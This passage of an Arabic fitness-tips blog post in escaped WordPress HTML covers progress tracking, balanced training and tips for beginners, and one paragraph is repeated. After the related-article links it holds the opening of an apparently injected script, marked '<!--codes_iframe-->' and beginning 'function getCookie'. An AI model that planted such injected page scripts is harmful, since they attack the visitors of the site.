\u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0622\u0646 \u062a\u062a\u0628\u0639 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0645\u0634\u0627\u0631\u0643\u0629 \u0627\u0644\u0625\u0646\u062c\u0627\u0632\u0627\u062a \u0641\u064a \u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0641\u0639\u0644\u064a\u060c \u0643\u0630\u0644\u0643 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u062a\u0634\u062c\u064a\u0639 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0625\u0639\u062c\u0627\u0628\u0627\u062a \u0623\u0648 \u0627\u0644\u062a\u0639\u0644\u064a\u0642\u0627\u062a \u0623\u0648 \u0627\u0644\u062f\u0631\u062f\u0634\u0627\u062a \u0627\u0644\u062c\u0645\u0627\u0639\u064a\u0629\u060c \u0648\u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0633\u0627\u0639\u062f\u0643 \u0641\u064a \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u0627\u0644\u062a\u0632\u0627\u0645 \u0648\u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>9. \u062a\u062a\u0628\u0639 \u062a\u0642\u062f\u0645\u0643 \u0648\u0633\u062c\u0644 \u0625\u0646\u062c\u0627\u0632\u0627\u062a\u0643<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/MAKE_A_RECORD_700x400.jpg\" alt=\"\u064a\u0633\u0627\u0639\u062f \u062a\u0633\u062c\u064a\u0644 \u062a\u0642\u062f\u0645\u0643 \u064a\u0648\u0645\u064a\u064b\u0627 \u0639\u0644\u0649 \u062a\u062a\u0628\u0639 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646\u060c \u0648\u0628\u0646\u0627\u0621 \u0627\u0644\u0639\u0627\u062f\u0627\u062a\u060c \u0648\u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u062f\u0627\u0641\u0639 \u0641\u064a \u0631\u062d\u0644\u0629 \u0644\u064a\u0627\u0642\u062a\u0643 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.\" class=\"wp-image-5420\" title=\"Make a Record\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0648\u0641\u0642\u064b\u0627 \u0644\u0644\u0645\u062f\u0631\u0628\u0629 \u0627\u0644\u0645\u0639\u062a\u0645\u062f\u0629 \u0633\u062a\u0627\u064a\u0633\u064a \u0628\u064a\u0631\u0645\u0627\u0646: &#8220;\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0623\u0634\u0628\u0647 \u0628\u0633\u0628\u0627\u0642 \u0645\u0627\u0631\u0627\u062b\u0648\u0646 \u0648\u0644\u064a\u0633 \u0633\u0628\u0627\u0642 \u0633\u0631\u0639\u0629 \u0642\u0635\u064a\u0631&#8221;\u060c \u0648\u0644\u0630\u0644\u0643 \u0646\u0646\u0635\u062d\u0643 \u0628\u062d\u0641\u0638 \u0633\u062c\u0644 \u062a\u0645\u0627\u0631\u064a\u0646\u0643\u060c \u0648\u0646\u0638\u0627\u0645\u0643 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u060c \u0648\u0625\u0646\u062c\u0627\u0632\u0627\u062a\u0643 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 \u062d\u062a\u0649 \u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0631\u0624\u064a\u0629 \u0627\u0644\u0645\u062f\u0649 \u0627\u0644\u0630\u064a \u0648\u0635\u0644\u062a \u0625\u0644\u064a\u0647.<\/p>\n\n\n\n<p>\u064a\u0633\u0627\u0639\u062f\u0643 \u0627\u0644\u062a\u062a\u0628\u0639 \u0627\u0644\u0623\u0633\u0628\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u0634\u0647\u0631\u064a \u0639\u0644\u0649 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629 \u0648\u0627\u0644\u0627\u0644\u062a\u0632\u0627\u0645\u060c \u0648\u064a\u0645\u0646\u062d\u0643 \u0627\u0644\u062f\u0627\u0641\u0639 \u0644\u0645\u0648\u0627\u0635\u0644\u0629 \u0627\u0644\u062f\u0641\u0639 \u0646\u062d\u0648 \u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641\u0643.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>10. \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0627\u0644\u0645\u062b\u0627\u0644\u064a<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"400\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/02\/FIND_A_BALANCE_700x400.jpg\" alt=\"\u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0627\u0644\u0645\u062b\u0627\u0644\u064a \u0641\u064a \u0631\u0648\u062a\u064a\u0646\u0643 \u0628\u064a\u0646 \u0627\u0644\u0642\u0648\u0629\u060c \u0648\u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648\u060c \u0648\u0627\u0644\u0645\u0631\u0648\u0646\u0629.\" class=\"wp-image-5407\" title=\"Find a balance\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u062a\u062f\u0648\u0631 \u062d\u0648\u0644 \u0627\u0644\u062a\u0648\u0627\u0632\u0646\u061b \u0623\u064a \u0627\u0644\u062c\u0645\u0639 \u0628\u064a\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648\u060c \u0648\u0627\u0644\u0645\u0631\u0648\u0646\u0629\u060c \u0648\u0627\u0644\u062a\u063a\u0630\u064a\u0629\u060c \u0628\u062f\u0644\u064b\u0627 \u0645\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0645\u062c\u0627\u0644 \u0648\u0627\u062d\u062f \u0641\u0642\u0637\u060c \u0623\u0646\u0634\u0626 \u062e\u0637\u0629 \u0644\u064a\u0627\u0642\u0629 \u0634\u0627\u0645\u0644\u0629 \u062a\u062a\u0636\u0645\u0646 \u062a\u0646\u0648\u0639\u064b\u0627 \u0641\u064a \u0627\u0644\u062d\u0631\u0643\u0629 \u0648\u0639\u0627\u062f\u0627\u062a \u063a\u0630\u0627\u0626\u064a\u0629 \u0635\u062d\u064a\u0629.<\/p>\n\n\n\n<p>\u0627\u0633\u062a\u0643\u0634\u0641 \u0635\u0641\u062d\u0629 <a href=\"https:\/\/ar-ae.sssports.com\/sports\/fitness\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0645\u0639\u062f\u0627\u062a \u0627\u0644\u062a\u0645\u0631\u064a\u0646<\/a> \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0646\u0627 \u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0623\u062d\u062f\u062b \u062a\u0634\u0643\u064a\u0644\u0629 \u0645\u0646 \u0645\u0644\u0627\u0628\u0633 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646\u060c \u0623\u0648 \u0627\u062a\u0628\u0639 <a href=\"https:\/\/ar-ae.sssports.com\/sports\/yoga\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0645\u0646\u0647\u062c \u0627\u0644\u064a\u0648\u063a\u0627<\/a> \u0644\u0631\u0648\u062a\u064a\u0646 \u0631\u064a\u0627\u0636\u064a \u0623\u0643\u062b\u0631 \u0634\u0645\u0648\u0644\u064b\u0627\u060c \u0623\u0648 \u062c\u0647\u0632 <a href=\"https:\/\/ar-ae.sssports.com\/sports\/running\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0645\u0639\u062f\u0627\u062a \u0627\u0644\u062c\u0631\u064a<\/a> \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0643! \u0643\u0644 \u0630\u0644\u0643 \u0628\u0646\u0642\u0631\u0629 \u0632\u0631 \u0639\u0644\u0649 <a href=\"https:\/\/ar-ae.sssports.com\/\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0633\u0646 \u0622\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a> \u0639\u0628\u0631 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u0647\u0644 \u064a\u0645\u0643\u0646\u0646\u064a \u062a\u062d\u0633\u064a\u0646 \u0644\u064a\u0627\u0642\u062a\u064a \u0641\u064a \u0623\u0633\u0628\u0648\u0639\u064a\u0646\u061f<\/strong><\/h2>\n\n\n\n<p>\u0646\u0639\u0645\u060c \u064a\u0645\u0643\u0646\u0643 \u062a\u062d\u0633\u064a\u0646 \u0644\u064a\u0627\u0642\u062a\u0643 \u0641\u064a \u0623\u0633\u0628\u0648\u0639\u064a\u0646 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629\u061b \u0631\u0643\u0632 \u0639\u0644\u0649 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0648\u0629\u060c \u0648\u0627\u062a\u0628\u0627\u0639 \u0646\u0638\u0627\u0645 \u063a\u0630\u0627\u0626\u064a \u0645\u062a\u0648\u0627\u0632\u0646 \u063a\u0646\u064a \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0648\u0627\u0644\u0645\u063a\u0630\u064a\u0627\u062a\u060c \u0643\u0645\u0627 \u064a\u064f\u0639\u062f \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0627\u0644\u0645\u062a\u0648\u0627\u062a\u0631 \u0639\u0627\u0644\u064a \u0627\u0644\u0643\u062b\u0627\u0641\u0629 (HIIT) \u0641\u0639\u0627\u0644\u0627\u064b \u0628\u0634\u0643\u0644 \u062e\u0627\u0635 \u0644\u062a\u062d\u0642\u064a\u0642 \u062a\u0642\u062f\u0645 \u0633\u0631\u064a\u0639\u060c \u0648\u0644\u0627 \u062a\u0646\u0633\u064e \u0627\u0644\u062a\u0631\u0637\u064a\u0628 \u0648\u0627\u0644\u0631\u0627\u062d\u0629\u060c \u0641\u0643\u0644\u0627\u0647\u0645\u0627 \u0623\u0633\u0627\u0633\u064a \u0644\u0644\u062a\u0639\u0627\u0641\u064a \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0646\u062a\u0627\u0626\u062c \u0623\u0633\u0631\u0639.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u0645\u0627 \u0623\u0641\u0636\u0644 \u0646\u0635\u0627\u0626\u062d \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646\u061f<\/strong><\/h2>\n\n\n\n<p>\u0627\u0628\u062f\u0623 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0642\u0635\u064a\u0631\u0629\u060c \u0648\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629\u060c \u0648\u0636\u0639 \u0623\u0647\u062f\u0627\u0641\u0627\u064b \u0648\u0627\u0642\u0639\u064a\u0629\u060c \u0631\u0643\u0632 \u0639\u0644\u0649 \u0627\u0644\u0634\u0643\u0644 \u0627\u0644\u0635\u062d\u064a\u062d \u0644\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u0648\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0635\u064a\u0631\u0629\u060c \u0648\u0628\u0646\u0627\u0621 \u0627\u0644\u0639\u0627\u062f\u0627\u062a \u0642\u0628\u0644 \u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0643\u062b\u0627\u0641\u0629.\u0627\u0628\u062f\u0623 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0642\u0635\u064a\u0631\u0629\u060c \u0648\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629\u060c \u0648\u0636\u0639 \u0623\u0647\u062f\u0627\u0641\u0627\u064b \u0648\u0627\u0642\u0639\u064a\u0629\u060c \u0631\u0643\u0632 \u0639\u0644\u0649 \u0627\u0644\u0634\u0643\u0644 \u0627\u0644\u0635\u062d\u064a\u062d \u0644\u0644\u062a\u0645\u0631\u064a\u0646\u060c \u0648\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0635\u064a\u0631\u0629\u060c \u0648\u0628\u0646\u0627\u0621 \u0627\u0644\u0639\u0627\u062f\u0627\u062a \u0642\u0628\u0644 \u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0643\u062b\u0627\u0641\u0629.<\/p>\n\n\n\n<p>\u0639\u0644\u0627\u0648\u0629 \u0639\u0644\u0649 \u0630\u0644\u0643\u060c \u062d\u0633\u0646 \u0646\u0645\u0637 \u062d\u064a\u0627\u062a\u0643 \u0627\u0644\u0635\u062d\u064a \u0648\u0627\u0643\u062a\u0634\u0641 \u0646\u0635\u0627\u0626\u062d \u0641\u0639\u0627\u0644\u0629 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0642\u0627\u0644\u0627\u062a \u0639\u0644\u0649 \u0645\u062f\u0648\u0646\u062a\u0646\u0627:<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.sssports.com\/ar\/5-%d9%87%d9%88%d8%a7%d9%8a%d8%a7%d8%aa-%d8%b1%d9%8a%d8%a7%d8%b6%d9%8a%d8%a9-%d8%aa%d8%ad%d8%a7%d9%81%d8%b8-%d8%a8%d9%87%d8%a7-%d8%b9%d9%84%d9%89-%d9%86%d8%b4%d8%a7%d8%b7%d9%83\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>\u0647\u0648\u0627\u064a\u0627\u062a \u0631\u064a\u0627\u0636\u064a\u0629 \u062a\u062d\u0627\u0641\u0638 \u0628\u0647\u0627 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637\u0643<\/strong><\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.sssports.com\/ar\/10-%d8%aa%d9%85%d8%a7%d8%b1%d9%8a%d9%86-%d8%b3%d9%87%d9%84%d8%a9-%d9%88%d9%85%d9%85%d8%aa%d8%b9%d8%a9-%d9%84%d9%84%d8%a7%d8%b7%d9%81%d8%a7%d9%84\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>10 \u062a\u0645\u0627\u0631\u064a\u0646 \u0633\u0647\u0644\u0629 \u0648\u0645\u0645\u062a\u0639\u0629 \u0644\u0644\u0627\u0637\u0641\u0627\u0644<\/strong><\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.sssports.com\/ar\/%d9%83%d9%84-%d8%b4%d9%8a%d8%a1-%d8%b9%d9%86-%d8%af%d9%88%d8%b1%d8%a9-%d8%a7%d9%84%d9%83%d8%b1%d8%a8%d9%88%d9%87%d9%8a%d8%af%d8%b1%d8%a7%d8%aa-%d9%84%d9%84%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>\u0643\u0644 \u0634\u064a\u0621 \u0639\u0646 \u062f\u0648\u0631\u0629 \u0627\u0644\u0643\u0631\u0628\u0648\u0647\u064a\u062f\u0631\u0627\u062a \u0644\u0644\u062a\u062e\u0633\u064a\u0633<\/strong><\/a><\/p>\n\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var 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\u0627\u0644\u062e\u0627\u0645\u0633\u0629 \u0635\u0628\u0627\u062d\u064b\u0627 \u0644\u062a\u0631\u0643\u0636 \u0623\u0645\u064a\u0627\u0644\u064b\u0627 \u0639\u062f\u064a\u062f\u0629 \u0643\u0644 \u064a\u0648\u0645\u060c \u0644\u0643\u0646 \u0625\u0630\u0627 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